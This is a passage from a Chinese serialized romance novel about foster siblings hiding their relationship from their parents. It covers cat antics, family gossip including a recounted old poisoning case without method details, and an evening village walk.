齐眉先是怔愣,随后奋起,试图和他争夺主动权。 可江问舟在这种时候总是风格强势,他的气息如澎湃的潮涌,一点一点的,缓慢又强硬地将她完全笼罩。 齐眉觉得自己像一只被裹起来的蚕,周身被密实包裹住,她根本无法逃脱,只能任由江问舟掠夺和吞噬她所有的呼吸。 喉咙间似乎突然出现一阵轻微的痒意,她下意识想咳嗽。 可出口的却是有些陌生,却又熟悉的轻喘,和无意识含糊的呢喃:“江、江问舟……哥……” 江问舟嗯了声,吮着她的下唇应她:“我在。” 唇齿交融在一处,时而纠缠,时而追逐。 齐眉觉得自己像是漂浮在一片深海,四周无依无凭,只能跟随本能紧靠着他,或是起伏,或是旋转。 而江问舟似乎并不满足于这个他占据了所有主导权的游戏,他开始引导齐眉,或者更确切地说,是在引诱她。 齐眉突然觉得自己的舌尖被牙齿咬了一下,轻微的疼痛让她的神智被拉回几分。 这时才发现,不知什么时候,舞台已经转换。 她不由得兴起,甩开江问舟的舌尖,要像他方才对她做过的那样,去寻觅他口腔里的每一寸缝隙。 像是一个小动物,到了新的地方,就要立刻圈地盘。 这是我的,那也是我的,通通全都是我的。 江问舟被她的想法逗乐,索性将主导权交给她,看她忙忙碌碌,最后耗光所有力气,瘫倒在他身上。 “这么快就累了?”江问舟一面捏着她的后颈肉,一面揶揄她,“咱们俩之间,到底是谁不行?” 齐眉不吭声,抬手戳戳他脸。 “现在说不出话的可不是我。”江问舟意会,笑着反驳道。 话音刚落就觉得一旁有点不太对劲,好像自己被盯着似的,一股悚然的感觉油然而生,也想到了齐眉说的那个可能。 可是……没等他想完,立刻就破案了。 金金正缩在被窝里趴着,露出半个头,目不转睛地看着他和齐眉叠罗汉,满眼都是好奇和惊讶。 它还小呢,没见过这样的世面。 江问舟觉得它这副样子可爱,伸手去摸它,问:“金金来不来?” 好像就等他招呼自己似的,金金一下就从被窝里钻了出来,直接就爬上齐眉的后背。 这下好了,变成叠猫猫了。 江问舟一面笑,一面让齐眉别动,“我拍给你看看。” 齐眉哪里敢动,整个人都快僵住了,既怕自己乱动把猫给甩下去会受伤,又觉得丢脸,抓着江问舟的衣襟赶紧把脸埋进他胸口。 尴尬地嘟囔道:“咱们刚才……它就这么看着啊?” “它又不懂。”江问舟觉得无所谓,随口答应着,打开手机相机,对准怀里的齐眉和她背上的猫。 金金见他举起手机,就歪头看过去,无意识的歪头杀最可爱,可爱到江问舟拍完照片之后,决定用这张照片做手机桌面。 齐眉被他吓死了,连忙按住他的手制止他这么想不开的行为,“别别别,手机桌面的目标太大了,会□□爸干妈一眼认出的,放相册里自己看看就好了吧?” “很合适做桌面,你看金金这样子多可爱。”江问舟笑眯眯地摇摇头,将手机举到她面前。 齐眉抬眼看过去,只看见金金正趴在她后腰上,圆眼睛睁得大大的,耳朵上的聪明毛被窗帘遮挡得半明半暗的光线里愈发显得毛绒绒。 看上去既精灵可爱,又憨态可掬,它真是漂亮到不需要任何构图修图,随手一拍就能直接出片。 如果它不是坐在她的身上,这会是一张很棒的宠物大片。 照片里她被轻薄柔软的睡裙贴身包裹,曲线愈发起伏明显,还在镜头里露出半个肩膀。 那肩膀乍一看是雪白,可多看几眼,就能看出一块块并不那么明显的粉色,那是刚才被江问舟的手指握住肩膀留下的痕迹。 本来也没什么,可在照片里看到,却格外令人遐想,齐眉一时不由得脸上滚烫。 “……它合适有什么用,我不合适啊。”她憋了半天才说出这句话,又怕他会笑话她自作多情,还补充说,“被人看到,会觉得你不正经。” 江问舟忍俊不禁,揉揉又钻回被窝的金金,再揉揉怀里人的背,“怎么可能,我用我女朋友的照片做桌面有什么问题?” “……那你跟干妈也这么说?”齐眉反问道,不等他回答,便搂着他脖颈央求道,“不用好不好,或者……你换个地方用嘛,比如、比如朋友圈封面?” 江问舟本来也没必须要拿这张照片做桌面的打算,只是喜欢看她干着急罢了,闻言道:“也行,但是……” 他停顿下来,齐眉在他怀里抬起头,问:“但是什么?” “但是你要答应我一件事。”江问舟沉吟片刻,才望着她的眼睛认真道。 齐眉一愣:“……什么事?” “你先答应我。”江问舟望着她,神情愈发变得沉静,方才的调笑和轻松似乎顷刻间少了许多。 齐眉觉得他应该不会坑自己,于是爽快点头应好。 然后催他:“快说,我困了,要午睡。” “以后……”江问舟轻轻拍着她的背,温和的声音里有淡淡的无奈,“你以后,不要再像上次那样推开我了,好不好?” 齐眉一怔,倏地睁眼抬头看向他。 江问舟和她四目相对,语气认真又郑重:“我不要你为我委屈自己,牺牲什么,你就去做自己想做的事,怎么开心怎么来,好不好?” “别担心,我不会离开你,爸妈也不会离开你,我们永远都是一家人,你在意的东西和人,都不会突然失去,只有死亡才会让我们分开。” 齐眉听完半晌回不过神,她没想到江问舟会在这种时候跟她说这些话。 “你怎么……突然……” 她不知道该说什么才好,只觉得心情莫名的十分复杂。 “迟早都要说的。”江问舟了然地捏捏她的脸,笑道,“我以后还要多说,说得多了,你迟早会记住。” 齐眉听完一头扎进他怀里,半晌才声音闷闷地嗯了声。 ————— 炎热夏季的午后吹着空调的凉风最宜睡觉,虽然被江问舟的一番话弄得心情复杂,但齐眉还是很快就睡着了。 也不知道睡了多久,总之是隐约觉得热,就慢慢地转醒。 迷迷糊糊地睁开眼,才发现自己侧躺着,怀里抱着金金,背后贴在江问舟怀里,被这么前后夹击,还盖着被子,不热就奇怪了。 太热了,她第一反应就是把金金放开。 毕竟这时候抱着一只猫跟穿着一件毛衣没什么区别。 但就在她要把金金推开的前一秒,它醒了,醒来第一件事就是蹭她。 眼睛都没完全睁开呢,就这么往她颈窝里蹭,用头顶蹭完用脸蹭,还不忘舔她一下。 撒娇猫咪最好命,齐眉瞬间就舍不得了,又把它抱回怀里,决定带着猫远离江问舟。 偏偏这时候江问舟也醒了。 “醒了?”他含糊的声音从身后传来,带着一点鼻音,随后勾住她的腰用力将她往怀里一拉。 背上感受到的温度更高了,同时十分明显地感觉到他身上肌肉的轮廓,齐眉忍不住翻了个身平躺下来。 还没来得及说什么,一阵柔软便落在她的腮边,紧接着江问舟在她面颊上蹭了蹭,柔软的嘴唇蹭过她的脸,最后落在她的耳畔。 齐眉扭脸一看,这人眼睛都没睁开,好好好,她知道金金像谁了。 果然有其父必有其女啊:) 齐眉一时哪个也舍不得,只好说服自己好像也不是很热,心静自然凉,一会儿就好了…… 还没等她自我调理好,就听到一阵敲门声突然响起,紧接着是孙茂芸的声音从门外传来:“西西,起来了吗?” 齐眉:“!!!”我艹!!! 她仅存的最后一丝睡意也瞬间飞到九霄云外,变成了慌乱和惊恐,立刻朝旁边的江问舟一脚踹过去。 江问舟其实已经被母亲的声音惊醒,又被她狠踹一下,整个人差点从床上弹起来。 “不用这么……” “嘘!!!” 他刚出声,就被齐眉一把捂住嘴,冲他狠狠白了一眼,不准他再说话。 “笃笃,笃笃——” 敲门声再次响起,齐眉的神色更加焦急,似乎还有些欲哭无泪。 她真怕干妈会突然进来,要是干妈突然就推门,将会看到…… 齐眉顿时一阵窒息,伴有眼前发黑。 “西西,醒了没有?”孙茂芸的声音和敲门声再次传来。 齐眉猛然回神,立刻答应道:“……醒、醒了!什么事呀干妈?” 她边应答,边目光四处逡巡,最后定定地看着衣柜。 让江问舟躲到里面去,应该可以吧…… 江问舟一眼就看出她是什么打算,顿时满头黑线,赶紧把她手从自己脸上拉下来,用气声安抚她:“门锁了,妈进不来的。” 和他同时出声的,还有门外的孙茂芸:“起来了就下来吃西瓜,别睡那么久,晚上该睡不着啦。” 齐眉闻言连忙应了声好,说马上就下去。 应完刚要松口气,就听孙茂芸继续道:“你快点哈,我去叫你哥。” 齐眉:“!!!”啊?啊?啊!!! 她惊恐万状,扭头看向江问舟,用口型问他怎么办。 江问舟神色一顿:“……” 老妈真是太好了,好到他也有点慌了:) 孙茂芸只要敲门没听到人应,肯定会想看看他是不是没睡醒。 要是门锁拧不动呢,那就是还没睡醒,从里面反锁了,可他那边房间没锁门,这就尴尬了。 到时候发现他和猫都不在房间,肯定会打电话问他在哪儿,他要是说出去了,那什么时候回来,怎么回来,都是问题。 说不准就会被问一句,你会飞啊,突然从楼上下来? 确实令人头疼,他叹口气。 见他光叹气不吭声,齐眉顿时就急眼了,坐起身握住他肩膀就用力摇晃起来。 脸上的神色焦灼意味更浓,江问舟觉得她已经是马上就要哭出来了。 于是摸摸她脸,低声安慰道:“没事,我来处理。” 他的处理办法就是给孙茂芸发信息,她是要去叫醒他,要是他醒了,不就不用叫了? 也不能打电话,万一孙茂芸已经到了他房间门口,仔细一听,声音不是从他房间传出来的,照样会引起她的疑惑。 齐眉意会他的做法,一面嘟囔你还挺严谨,一面探头去看他给干妈发了什么。 江问舟是主动问:【下午要不要吃西瓜或者别的下午茶?我去买,奶茶喝不喝?】 信息发送之后,齐眉便提心吊胆地等着看回复,屏气凝神,眼睛不敢眨一下。 比起她的紧张,江问舟反而在最初的慌乱过后,重新变得淡定。 最坏的结果就是被父母发现他和齐眉在一起了,不是吗? 刚开始他们一定会反对,会生气,会骂他,这是不管他们什么时候这件事,都肯定会发生的情况。 之后呢?之后会是什么发展走向,就要看具体情况了。 但江问舟始终觉得,比起齐眉的摇摆不定、恐惧担忧,父母的态度反而不用过多担心。 因为真心疼爱孩子的父母,总是会对孩子妥协,他和齐眉的事说是怕说出去难听,可本质上不就是自己亲生的孩子,和一直寄养在自己家的故人之女产生了感情么? 没有血缘关系,却又朝夕相处,会产生超出普通友谊的感情实在太容易了,也完全能理解。 所以他一直都觉得,等孙茂芸和江眀琮渡过最初的震惊期之后,要说服他们接受他和齐眉的感情,不是什么很难的事。 但齐眉没有他这样的信心。 他以前觉得是她想太多,自己吓自己,或者是不信任自己。 可现在他懂了,更重要的原因,是她内心深处的不自信、不确定,她知道孙茂芸和江眀琮对她好,疼爱她,是出于责任,虽然也不求回报,但和他们爱他是不太一样的,有些事他做了,他们即便很失望,他们也不会真的放弃他,可她却未必。 她不愿意,也不敢,去赌这个可能。赌赢了,应有尽有,赌输了,一无所有。 有些东西是由血缘关系带来的,她没有就是没有。 这样一想,江问舟就舍不得再为难她,甚至有时候想,如果当时他也能懂这个道理,能站在这个角度去体谅她,跟她好好聊聊,也许不会分开这几年。 他叹口气,将齐眉揽进怀里,听到她说:“来了来了,干妈回信息啦!” 江问舟的思绪瞬间被拉回到眼前的事上。 【你醒啦?那正好,下楼吃西瓜,我不喝奶茶,你问问西西,喝的话叫个外卖好了。】 信息看完,恰好门外似乎有脚步声经过,齐眉咬着嘴唇看向江问舟。 江问舟低头,蹭蹭她的额头,笑着和她耳语:“这不就解决了。” 齐眉眨眨眼,仰头看向他带着笑意的目光,心里忽然涌现出愧疚来,很不好意思地在他颈窝处蹭了蹭。 小小声地说了句:“对不起。” 江问舟先是有些惊讶,旋即明白过来,失笑着揉揉她的后背。 想了想,还是趁机表一下态:“虽然我现在和你统一战线,但不会一直和你保持相同立场,因为……” 他顿了顿,缓和一下态度,用略带玩笑的语气问她:“你也不忍心以后我们的孩子只能叫我舅舅吧?” 齐眉一噎,半晌才嘟囔着反驳道:“为什么非得生孩子,我要是不想生呢?” “那也行,我可以接受没有孩子,但无法接受我的孩子只能叫我舅舅。”江问舟实话实说,“那样我会疯的。” 说完顿了一下,反问齐眉:“真的不想生?” 齐眉立马就被问住,她还是第一次考虑这个问题呢。 但也没考虑多久,一来是暂时没这个时间,二来其实也不用太纠结,因为有些客观因素无法忽略。 “那还是要生的。”齐眉回答道,“我想要一个和自己血脉相连的亲人,一个就好。” 江问舟失笑,捏捏她脸,“所以你要快点想通,早点做好心里建设,多多在心里预演如果到了那一天,你会怎么做。” 齐眉抿抿唇,半晌才应:“……好吧。” “好了,赶紧下楼,不然一会儿妈又要上来了。”江问舟松开她,从床上坐起来。 然后交代她:“我先出去,你一会儿再来。” 齐眉连忙点头,有些紧张地提醒:“你小心点。” 江问舟嗯了声,但转头就拉开门大摇大摆地出去,明摆着没放心上。 不仅如此,他出去之后,还站在门口,回头刻意提高音量跟她说话:“你动作快点,别磨蹭。” 接着喊猫:“金金快出来,别缠着你姑姑了。” 看着猫从床上轻盈跳下地向他跑去,齐眉一脸懵逼,不是,不是说好了小心点的吗? 这就是你的小心?就差拿大喇叭昭告天下你在我这儿了吧:) 她狠狠瞪向这人,却在看到他平和的眉眼时,想起来他说过的话。 “自然一点,太刻意保持距离才会露马脚。” 她回过神,人和猫已经消失在视线里了。 抱着将信将疑的态度,齐眉在几分钟后,换了衣服下楼。 “西西下来了?快来吃西瓜。”孙茂芸抬头看见她,立刻招呼道。 齐眉诶的应了声,过去的时候顺便仔细观察了一下她和江眀琮的神色。 都很自然,和平时没什么区别。 孙茂芸还调侃她:“又赖床了是不是,都这么大了还要哥哥去喊你呀?” 齐眉眨眨眼,有些不好意思地挠挠脸,坐下的时候还看了眼沙发另一头的江问舟。 江问舟正拿冻干在招猫逗狗,察觉她的视线,便扭头大大方方地回看她一眼,还笑笑道:“今天的西瓜很甜,不过你不要多吃,水果生冷,你还在吃中药。” 话音刚落,孙茂芸便一拍大腿,跳了起来:“妈呀,西西的药还在微波炉里没拿出来,我都给忘了。” 齐眉愣了一下,回过神时已经来不及说自己去拿了,只好又看一眼江问舟。 江眀琮坐在摇椅里,抖抖手里的报纸,哼了声:“我只能吃一小口,西西也不能多吃,都不知道你们妈妈买西瓜干什么,肯定是故意气我。” 江问舟笑眯眯地搭腔:“可是我和妈都能吃啊,早知道这样,应该让妈把瓜一分为二,我一半她一半,用勺子挖着吃,那才香呢。” 刚说完,就被他爸扔过来的抱枕砸中脑袋。 他不以为意,将抱枕从地上捡起,还夸了句:“别看爸你已经年纪大了,还是那么目光如炬,瞄准的准头真好,你的眼睛就是尺。” 阴阳怪气的,给江眀琮气够呛,倒是齐眉忍俊不禁地笑出声来,紧绷的神经很快就放松下来。 齐眉喝完下午这顿药,吃了一小块西瓜把嘴巴里的苦味压下去,正好听孙茂芸说:“这天气真是越来越热了,才六月份,七八月怎么办?” “现在不比在市里住着舒服?”江眀琮反问她,“在市里温度更高。” “那倒也是,院子里有口水塘,地方又大,还是好散热。”孙茂芸一边挑着一会儿要煮绿豆沙的绿豆,一边闲聊,“住村里除了看病有点点不方便,其他都很好。” 但他们家也没人需要天天跑医院看病,所以总体来说还是舒服多过不便很多的。 “要我说你们就该把年年和金金留家里过暑假,一身毛,我看着都热。”她最后道。 齐眉闻言忙道:“您可别想着给它们剃毛,会抑郁的。” “知道知道。”孙茂芸连连答应。 江问舟听到这里,忽然问道:“妈,你和爸有没有出去避暑的打算?” 孙茂芸和江眀琮都愣了一下,抬眼疑惑地看过去。 齐眉也觉得奇怪,怎么好好的,这人突然提议干爸干妈出去避暑? 第46章 第四十六章(二合一)却要借着兄妹的…… “往海拔高点的地方走,云贵一带,六盘水啊昆明啊,或者去海边城市,北海、北戴河,还有承德这些避暑城市,都比容城舒服。” 江问舟笑吟吟地解释着自己突然提起让父母去避暑的缘由,将最后几颗冻干往地上一洒,金金和年年就冲上去了。 “喂鸡一样。”江眀琮点评道。 齐眉笑倒,但仔细一想,他这动作确实好像喂鸡。 孙茂芸听了他说的,摇摇头拒绝道:“不去,在村里挺好的,每天我还去榕树头那儿听大家吹牛呢,可多八卦了,去外地又听不着。” 说完指指江眀琮,继续:“你爸早上还要去跟人家打牌。” 江眀琮点点头,说:“今年是刚搬过来,还新鲜着呢,明年兴许就想出去了。” 江问舟哦地应了声,说那行吧,齐眉看着他,莫名觉得他好像有点遗憾。 但又疑心自己是不是看错了,因为按理来说不应该啊。 爸妈不想出去旅游而已,当儿子的有什么可遗憾的,逻辑说不通,除非…… “所以妈你在榕树头八卦广场听到什么有意思的事了?”江问舟一边啃西瓜一边问道。 齐眉心里的嘀咕被他打断,也好奇地看向孙茂芸。 “那可多了。”孙茂芸清了清嗓子,“说个昨天刚听到的,我听老陈家儿媳妇说,哦你们这段时间回家吃的鸡,就是跟他家买的,他家在村里包了地开养鸡场,我还给你们买了土鸡蛋,晚上回去的时候记得拿……” 才开了个头,她的话题就歪了,齐眉还边听边乖巧地点头应好。 江问舟有些受不了,直接幻视一些答非所问就算了,还根本打断不了的病人。 他扭头问江眀琮:“爸你知道我妈要说的是什么事吗?” 江眀琮哦了一声:“就是陈家的儿媳妇上个星期回家看爸妈,碰到娘家村子有户人家打架,打听之后才知道那家的公公和大儿媳妇有首尾好几年了,现在才被婆婆发现,然后公公要跟婆婆离婚,大儿子要跟大儿媳妇离婚,这不就打起来了。” 江问舟听得眼睛直眨,半晌才啊了声:“……扒灰啊?” “这种事一点都不新鲜,类似的案子我没办过十个,也有七八个。”江眀琮很淡定地点头继续道,“只是吵架闹离婚都算好的了,有的当场闹出人命,还有的越想越气,暗地里谋划,等夜深人静的时候再动手。” 齐眉是全家最爱听故事的那个,闻言立刻追着问:“干爸,你印象最深的类似案子是哪一个呀?” “千禧年的时候有一个类似的案子,我印象特别深。”江眀琮边说边把手里的报纸叠起来,放到茶几上,转手端起茶杯,“一个中学的女物理老师,发现丈夫和自己妈妈有奸情,开始也是大吵大闹,但母亲和丈夫一起向她哭诉请求原谅,说以后再也不会联系了,她母亲第二天就回了老家,她考虑到孩子,不愿意孩子生活在单亲家庭,就忍下这口气,原谅了他们。” 齐眉啊了声,急急忙忙发表意见:“这就原谅啦?怎么能原谅呢?!” “时代不一样嘛。”江眀琮笑笑,没过多评价,继续往下说,“母亲回老家之后,丈夫因为对她有愧,所以很努力表现自己,带孩子做家务,就这么过了差不多一年,在她以为他是真的改了,准备跟他好好跟他过日子,不在追究那事的时候,她突然得知,其实丈夫和她妈妈还有联系,她妈妈也没有回老家,而是她丈夫给她在同城的另一个区租了个房子,把她当外室养起来。” 齐眉听得一愣一愣的,虽然也在网上看过类似的八卦,但每次她还是会很惊讶。 江问舟吃完西瓜,又另拿一块,先把金金叫过来,让它也吃两口。 年年也想吃,见状立刻挤过去,刚要把金金怼开,就被江问舟一把捏住嘴筒子。 “你待会儿再吃,坐。” 他好声好气地讲,年年就见人下菜,当没听见,还是要往他那儿凑,金金被它屁股一怼,就怼到旁边去了。 金金扭头就给它一巴掌,一巴掌给了还不够,越想越气,干脆给它一套组合拳。 江问舟啧了声,劝架道:“金金,金金,好了好了,教训一下就好了,快来继续吃。” 又提高音量对年年发送指令:“年年,坐下!” 他声音严肃起来,年年就知道要听话了,这才在一旁坐下,甚至还趴了下去,眼巴巴地看着他和金金。 齐眉一面看着他们的互动,一面问江眀琮:“她是怎么发现的?” “邻居去那边办事,正好碰见她妈妈,回来就问她,是不是她妈妈又来帮她带孩子了。”江眀琮耸耸肩,“这一说不就知道了?” “然后呢?去质问她老公了?”齐眉追问,顺便接过孙茂芸给她拿的开心果。 “没有。”江眀琮的语气变得有些沉郁,“她雇人跟踪丈夫,拍到了照片,确定丈夫和妈妈确实还藕断丝连,他们经常在丈夫下班之后回家之前的时间见面,有几次周末丈夫说加班,其实也是去幽会,她很生气,于是她往丈夫每天带的保温杯里下了药。” 齐眉一愣:“……下药???” “对,下药。”江眀琮点点头,“她还主动提出想让妈妈再回来住,说毕竟母女一场,没有隔夜仇,只要他们不再那样,她也不会揪着以前的事不放。” 于是母亲又加入了这个家,好像没什么变化,但又好像什么都变了。 “她家的生活习惯是每个人都有自己固定的喝水杯子,她借清洗杯子的机会,每隔几天就往母亲的杯子上抹一层药,喝水的时候,药就会溶在水里被喝掉,就这样,在两年内,丈夫和母亲先后去世了,死因都是心梗猝死。” 齐眉听得有些不寒而栗,问道:“……这样的话,你们是怎么知道的?” 她想起一些类似给室友下毒的社会新闻,忍不住伸手搓搓胳膊上的鸡皮疙瘩。 “她丈夫是在单位发作的,同事们将他送去了医院,接诊的医生是个老江湖,觉得他的心梗不太对劲,于是悄悄报了警。” “后来呢?”齐眉问道。 江眀琮笑笑:“后来?故意谋杀还有什么后来,不就那样,就是可惜了他们的孩子,是个女儿,当时才六岁。” “那孩子怎么样了,亲戚照顾么?”齐眉问道。 “送去福利院了。”江眀琮摇摇头,面露遗憾和无奈,“亲戚们都不肯接这个孩子,觉得她命太硬,不好养。” 齐眉闻言顿时哑然,这明明是大人的错,为什么最后要怪孩子?难道就因为只有她一个还活着? 孙茂芸这时道:“这个案件上过电视的,法制频道,现在不知道还能不能搜得到。” “……是么,关键词是什么?”齐眉一听就来了好奇心。 她一面打开手机搜索,一面表示有些想不通:“这男的怎么会看上自己的岳母呢?恋母,还是因为什么?” “这就不知道了,人没了,也没处去问。”江眀琮摇摇头,又有些气愤地道,“前几天我刚在那什么视频网站上举报了一个人,她发的东西奇奇怪怪,晒跟儿子的合照,配的文字却是什么……是儿子也是丈夫,是母亲也是妻子,我开始没看懂,还好有评论区,看完评论区他们的讨论我才知道,她跟她儿子有那种关系,这样的居然还不止她一个,他们在评论区里,管这种行为叫回家。” 江问舟给金金喂了半块西瓜就不让它吃了,把它抱起来递过去给齐眉,招呼年年过来。 一边看年榨汁机年啃西瓜,一边问他爸:“回家意思是……他儿子成家了,但是出轨,出轨对象是他妈?” 齐眉抱过金金,听到这里忍不住嫌弃地噫了声。 金金立刻抬起头看她,目光似乎有些不可置信,齐眉连忙亲亲它脑门,对她说:“不是嫌弃你,我们金金是最乖最可爱最漂亮最讨人喜欢的宝宝。” 金金被亲得眼睛都眯起来了,整只猫一动不动。 “没对象叫什么出轨,纯是罔顾人伦。”江眀琮没好气道,“回的是那个他出生之前待的家,懂吧?你俩学医的,应该能懂,我也不知道他们是真是假,反正看着恶心,举报了。” 江问舟:“……” 齐眉听完整个人都觉得快不行了,“……她、他们……做就算了,还拿出来说啊?” “人是需要倾诉的,而且现在隔着网络谁也不认识谁,有些事现实生活里绝对不敢往外说,但在网上就没顾虑了。”孙茂芸接话道,“再说了,你也不能确定她说的就是真的啊,吹牛又不上税。” 江问舟一边给年年喂西瓜,一边道:“但这种事说不定真的有。” “自古就有,公公跟儿媳妇,本质上不也是这样?”孙茂芸哼了声,“一点伦理道德都不讲,当什么人,直接去当动物算了,只讲雌雄,不讲其他。” 齐眉听了这话忍不住眨眨眼,状似无意地扭头看一眼江问舟。 视线在半空中交汇,只是短短几秒,她便率先转开视线。 拿起梳子一边给金金梳毛,一边说:“前几天我在食堂吃饭,听同事说了个……没那么震撼,但也有点难评的事。” 就是那个小姨刚走没一年,就和自己亲姨夫在一起的姑娘的事。 说完她眨眨眼,继续道:“*我还问我同事,要是她跟这个小姨没血缘关系,是妈妈的闺蜜那种,是不是会好一点。” 江问舟正在擦地板,年年这个榨汁机质量不太好,老是漏水,西瓜汁滴得到处都是。 听到齐眉的话,手头的动作不由自主地顿了一下。 还没来得及抬头看她,就听她继续道:“我同事说那也不行,差太多了,本身就是长辈,就算没血缘关系也奇怪,要是没差多少岁还好说。” “干妈你们觉得呢?”齐眉最后问道。 江问舟抬头,从她故作平静的脸上,还有满是好奇的眼里,他竟然看到了若隐若现的紧张。 他有些惊讶,也有些疑惑。 这又不是她的事,她紧张什么?撒谎了,还是说…… 江问舟心里忽然一顿,想到了另一种可能。 会不会是……齐眉编了个故事,想试探爸妈的反应?或者,事是真的,她想试探父母的态度,也是真的? 江问舟心里涌起一抹期待。 齐眉没注意他的反应,只想听听干爸干妈的看法。 “那也会让人说闲话啊。”孙茂芸道,“再怎么样那也是亲戚,是长辈,要是同龄人,就是那种同一个村里按辈分论算是长辈,就还好接受一点,因为本质上就是两个年轻人到了谈婚论嫁的岁数产生了感情。” 齐眉眨眨眼,问道:“要是您和干爸遇到这样的亲戚,会不会觉得很丢脸?” 江问舟顿时笑起来,觉得自己心里的猜测基本能坐实了。 “这又不是我家的事,我有什么可丢脸的。”孙茂芸撇撇嘴,“亲戚家的事,他们自己家觉得无所谓,那就没事,其实只要不犯法,这点事大家就算说,也说不了多久,时间会掩藏一切,只要自己心里过得去。” 被别人嘴两句那算个屁的惩罚,你看那些当小三的,这么明确是不道德的,谁知道了都鄙夷三分,他们害怕吗? “做人还是得脸皮厚。”孙茂芸感慨。 齐眉有些忍俊不禁,抿着唇笑起来。 倒是江眀琮一直不吭声,暗暗盯着齐眉仔细打量半晌。 ————— 齐眉最近太忙,缺乏休息,加上吃中药医生也交代要早点休息,所以她晚上就不打算去店里了。 孙茂芸准备了食材,大家在家里吃鸡汤火锅,她一面给齐眉舀汤,一面道:“当老板就该这样,放手让底下的人去做,什么都亲力亲为,累不死你。” “……知道啦。”齐眉嘴角抽了一下,无奈地应道。 吃完饭已经是晚上七点多,天还没彻底黑下来,孙茂芸问他们要不要去村里的小广场玩玩。 “我和你爸要去散步,你们去不去遛年年?” 江问舟没立刻回答,而是扭头看向齐眉,用眼神询问她的意见。 反正时间还早,齐眉没怎么考虑就点点头:“好呀,把金金也带上,出去活动活动。” 于是大家一道出门,江眀琮牵着年年,和孙茂芸一块儿走在前面。 金金不是特别愿意出去,刚出门就不肯走了,非要往地上趴,表情看起来倔强得不得了。 齐眉没办法,只好把它抱起来,一边拍它肚皮上的灰尘,一边吐槽:“你这么脏,以后不准上床。” 猫还没什么反应,江问舟先忍不住笑出声来。 “……你笑什么?”齐眉抬起头,用气声问他。 江问舟摇摇头,倒是什么都没说。 俩人不远不近地跟在父母后面,沿着门外的小路一路向小广场走去。 天边最后一抹灰白正在被墨色迅速侵蚀,黑夜好像会壮人胆,因为齐眉发觉江问舟正伸手来勾她的手指。 而前面不到十米远,就是父母手挽手的背影。 齐眉觉得自己的心跳瞬间便加快起来,心率快得她有些胸闷气短,甚至是头疼。 这也太刺激了,她承受不来:) 正在她犹豫怎么把江问舟甩开才不会闹出太大动静引起干爸干妈注意时,走在前面正跟江眀琮说明天好像是初一了的孙茂芸突然来了个扭头的动作。 齐眉的心跳都快要停了。 江问舟反应飞快,立刻将勾她手指的动作变成挖她怀里的金金,还说了句:“把它给我吧,八九斤重,抱着不累么?” 齐眉赶紧撒手,一个字都不敢说。 她怕听见自己的声音和心跳一样颤抖。 倒是孙茂芸有些惊讶:“我们金金这么瘦啊?十斤都不到。” 江问舟一秒警觉:“您可千万别觉得它瘦,就给它多吃,医生说它的体重刚刚好。” 很多时候,家长觉得孩子瘦的时候,孩子的体重是正常的,等家长觉得孩子圆乎乎真可爱,哪里胖啦一点都不胖,这时再去医院,就会听到医生说要给孩子控制体重了。 孙茂芸一哽,嘟嘟囔囔:“我又没说什么……真是的,多一口饭都不给孩子吃,这当爹的真是狠心,以后你孩子不会吃不饱饭吧……” 江问舟哭笑不得,也吐槽回去:“幸好我小的时候你们都工作忙,没怎么有空管我,所以没把我喂成一个小胖子。” “胖点有什么不好?胖乎乎的多可爱!”孙茂芸忍不住反驳道。 她说的是金金,但江问舟偏要说人。 他一本正经道:“胖当然不好了,胖了心脑血管会有问题,心脏也会不舒服,关节承受的压力也很大,血压血糖也不好,万一需要做手术,麻醉都不好麻,还有……” 说到这里他也不知道想到了什么,突然停下来,扭头看一眼齐眉。 齐眉被他看得一愣,连紧张都忘了,有些茫然地回看过去,问道:“还有什么?” 江问舟摇摇头,又冲她笑笑,什么都没说。 路灯早就开了起来,但大概是因为瓦数关系,光线都是有些昏暗的,但却有些意外的将还没完全黑透的暮色晕染出别样的温柔。 江问舟放慢步伐,齐眉察觉之后,也跟着放慢了脚步,低头看着他们的脚,江问舟出左脚,她也出左脚,整齐划一得像是在军训时走齐步。 看着看着她就嘿嘿笑了一声。 怎么听起来傻乎乎的,江问舟好笑,开始跟他作对,她出左脚,他偏要出右脚,于是他的左腿便和齐眉的右腿碰了一下。 她今天穿着一条很宽松的阔腿裤,他看见他们的裤腿在碰撞中更贴近了一些,眉眼不由得轻弯,变成更柔和的弧度。 齐眉看了可不高兴,她抿着唇瞪了他一眼,在骂他搞破坏和不跟他玩了之间,选择了告家长。 “干妈!我哥欺负我!” 孙茂芸正走着路呢,边走边晃江眀琮的手,冷不丁听见齐眉这嗷的一嗓子,吓了一大跳,扭头就骂江问舟:“你疯啦,妹妹也欺负?” 江问舟:“???” 齐眉见他吃瘪,顿时忍不住哈哈大笑,笑声得意到江问舟都被气笑了。 他喊孙茂芸:“妈!妈!你回头看看我,我头上有个冤字,血红血红的,能看到吗?” 孙茂芸一噎,知道大概是冤枉他了,一时有些讪讪,又拉不下脸来道歉,赶紧拉着江眀琮就往前走了。 江问舟这时才没好气地伸手使劲揉揉齐眉的脑袋。 这动作在此时倒也无需避讳父母,因为被看见也可以说是正常的打闹嘛。 金金对他们的互动很感兴趣,抻着脖子朝齐眉这边凑,齐眉揉揉它脸,干脆又把它抱回来。 她一面将猫举过头顶,一面欢快地对江问舟道:“到吃小龙虾的季节了,我们什么时候吃啊?” 说完还举着猫转了一圈,给金金配上咻咻的音效。 江问舟的步伐更慢了,故意落后在她身后,目不转睛地看着眼前这一幕。 这是他以前无数次想象过的画面,她和小猫待在一起,那么快乐又放松,父母也在,他这一生中最重要的几个人在这一刻同框。 听到齐眉的提议,他便笑笑,温声答应道:“等你咳嗽好了我们就去吃。” 什么玩意,吃个小龙虾还得等咳嗽好了? 齐眉撇嘴,又改口:“好久没吃炸鸡了,我们去吃炸□□,吃那种没裹粉的老式炸鸡,皮都炸得酥脆的。” “好啊,等你咳嗽好了我们就去。”江问舟还是这句。 齐眉被他噎够呛,刚要吐槽,孙茂芸就扭头笑道:“看到了吧,咳嗽没好什么都不能吃,看你下次还敢不敢。” 齐眉:“……”啊啊啊这是我想的吗?! 她气鼓鼓地鼓起腮帮子,咬着嘴唇哼了声,不再搭理江问舟。 往前走没多远,就到了位于村子中段的村委,办公室前面那一大片空地就是村民活动广场。 小广场中间有一棵很高大茂盛的老榕树,众多气生根从枝干垂下入土,变成粗细不一的支柱根,看起来颇为壮观。 枝干上还挂着红灯笼,也不知道是过年时挂的还没摘,还是这就是日常装饰一直都在。 树下坐着不少纳凉的人,就着一旁蓝牙音响播放的广场舞神曲在聊天,刚靠近,齐眉就听见有人在讲这棵榕树。 